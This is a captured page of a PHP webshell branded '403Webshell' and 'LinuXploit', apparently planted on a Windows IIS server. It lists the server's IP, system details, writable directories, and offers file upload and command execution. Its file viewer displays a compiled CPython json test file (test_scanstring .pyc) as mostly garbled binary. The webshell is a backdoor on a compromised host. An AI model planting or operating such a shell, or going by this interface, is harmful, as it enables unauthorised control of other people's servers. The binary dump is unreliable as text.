403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_json/__pycache__/test_scanstring.cpython-312.pyc
�

���g��`�ddlZddlmZmZGd�d�ZGd�dee�ZGd�dee�Zy)	�N)�PyTest�CTestc�$�eZdZd�Zd�Zd�Zd�Zy)�TestScanstringc�T�|jjj}|j|ddd�d�|j|ddd�d�|j|ddd�d�|j|d	d
d�d�|j|dd
d�d
�|j|dd
d�d�|j|dd
d�d�|j|dd
d�d�|j|dd
d�d�|j|dd
d�d�|j|dd
d�d�|j|dd
d�d�|j|dd
d�d�|j|dd
d�d�|j|d d!d�d"�|j|d#d
d�d$�|j|d%d
d�d&�|j|d'd
d�d(�|j|d)d
d�d*�|j|d+d
d�d,�y)-Nu"z𝄠x"�T)�z𝄠x�z"\u007b")�{�z<"A JSON payload should be an object or array, not a string.")z:A JSON payload should be an object or array, not a string.�<z["Unclosed array"�)zUnclosed array�z["extra comma",])zextra comma�z["double extra comma",,])zdouble extra comma�z["Comma after the close"],)zComma after the close�z["Extra close"]])zExtra closerz{"Extra comma": true,})zExtra commarz:{"Extra value after close": true} "misplaced quoted value")zExtra value after close�z{"Illegal expression": 1 + 2})zIllegal expressionrz{"Illegal invocation": alert()})zIllegal invocationrz+{"Numbers cannot have leading zeroes": 013})z"Numbers cannot have leading zeroes�%z{"Numbers cannot be hex": 0x14})zNumbers cannot be hexrz2[[[[[[[[[[[[[[[[[[[["Too deep"]]]]]]]]]]]]]]]]]]]]r)zToo deep�z{"Missing colon" null})z
Missing colon�z{"Double colon":: null})zDouble colon�z {"Comma instead of colon", null})zComma instead of colon�z!["Colon instead of comma": false])zColon instead of commarz["Bad value", truth])z	Bad value�)�json�decoder�
scanstring�assertEqual)�selfrs  �3C:\Python312\\Lib\test\test_json\test_scanstring.py�test_scanstringzTestScanstring.test_scanstrings����Y�Y�&�&�1�1�
�����'��D�1��	!�	
����{�A�t�,��	�	
����U�WX�Z^�_�N�	P�	
����*�A�t�4�"�	$�	
����)�1�d�3��	!�	
����1�1�d�;�&�	(�	
����3�Q��=�)�	+�	
����)�1�d�3��	!�	
����/��D�9��	!�	
����S�UV�X\�]�+�	-�	
����6��4�@�&�	(�	
����8�!�T�B�&�	(�	
����D�a��N�6�	8�	
����8�!�T�B�)�	+�	
����K�R�QU�V��	�	
����/��D�9�!�	#�	
����0�!�T�:� �	"�	
����9�1�d�C�*�	,�	
����:�A�t�D�*�	,�	
����-�q�$�7��	�c�����jjj���fd�}|dd�|dd�|dd�|dd	�|d
d�|dd
�|dd�|dd�|dd	�y)Nc�P���j�|dd�|t|�f�y)NrT)r�len)�given�expectrrs  ��r�
assertScanz2TestScanstring.test_surrogates.<locals>.assertScanZs(������Z��q�$�7�$�c�%�j�1�
3r!z"z\ud834\u0079x"uz�yxz"z\ud834\udd20x"r	z"z\ud834\ud834\udd20x"u	z�𝄠xz
"z\ud834x"uz�xu"z\ud834�x12345"u
z��x12345z
"z\udd20x"uz�xu
"z��x"uz��xu
"z�\udd20x"u"z�x")rrr)rr'rs` @r�test_surrogateszTestScanstring.test_surrogatesXs�����Y�Y�&�&�1�1�
�	3�	�'��5��'��8��.�0D�E��=�*�-��+�-B�C��=�*�-��%�'7�8��&�(8�9��<��,r!c��|jjj}gd�d�d�d�d�d�d�d�d	�d
�d�d�d
jd��d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�djd��d�d �d!�d"�}|D]2}|j	|j
|�#�5||d$d%�ddd��4y#1swY�?xYw)&Nz"\"z"\x"z"\u"z"\u0"z"\u01"z"\u012"z"\uz012"z"\u0z12"z"\u01z2"z"\u012z"z"\u0x12"z"\u0X12"z"\u{0}"u0000z"\u 123"z"\u-123"z"\u+123"z"\u1_23"z	"\ud834\"z
"\ud834\u"z"\ud834\ud"z"\ud834\udd"z
"\ud834\udd2"z"\ud834\uzdd2"z"\ud834\udzd2"z"\ud834\uddz2"z"\ud834\udd2z"z"\ud834\u0x20"z"\ud834\u0X20"z
"\ud834\u{0}"z"\ud834\u 123"z"\ud834\u-123"z"\ud834\u+123"z"\ud834\u1_23")�msgrT)rrr�format�assertRaises�JSONDecodeError)rr�bad_escapes�ss    r�test_bad_escapeszTestScanstring.test_bad_escapeshs����Y�Y�&�&�1�1�
�"
��"
��"
�
�"
�
�	"
�

�"
�
�
"
�
�"
�
�"
�
�"
�
�"
�
�"
�
�"
�
���l�+�"
�
�"
�
�"
� 
�!"
�"
�#"
�$
�%"
�&
�'"
�(
�)"
�*
�+"
�,
�-"
�.
�/"
�0
�1"
�2
�3"
�4
�5"
�6
�7"
�8
�9"
�:
�$�$�\�2�;"
�<
�="
�>
�?"
�@
�A"
�B
�C"
��F�A��"�"�4�#7�#7�Q�"�?��1�a��&�@�?��?�?�s�%B;�;C	c���|jt�5|jjj	dt
jdz�ddd�y#1swYyxYw)Nsxxxr)r,�
OverflowErrorrrr�sys�maxsize)rs r�
test_overflowzTestScanstring.test_overflow�s>��
�
�
�}�
-��I�I���(�(�����Q��?�.�
-�
-�s�8A�A N)�__name__�
__module__�__qualname__r r(r0r5�r!rrrs��P�d-� ''�R@r!rc��eZdZy)�TestPyScanstringN�r6r7r8r9r!rr;r;���r!r;c��eZdZy)�TestCScanstringNr<r9r!rr?r?�r=r!r?)r3�test.test_jsonrrrr;r?r9r!r�<module>rAs0��
�(�N@�N@�b5�~�v�4�2�n�e�2r!

Youez - 2016 - github.com/yon3zu
LinuXploit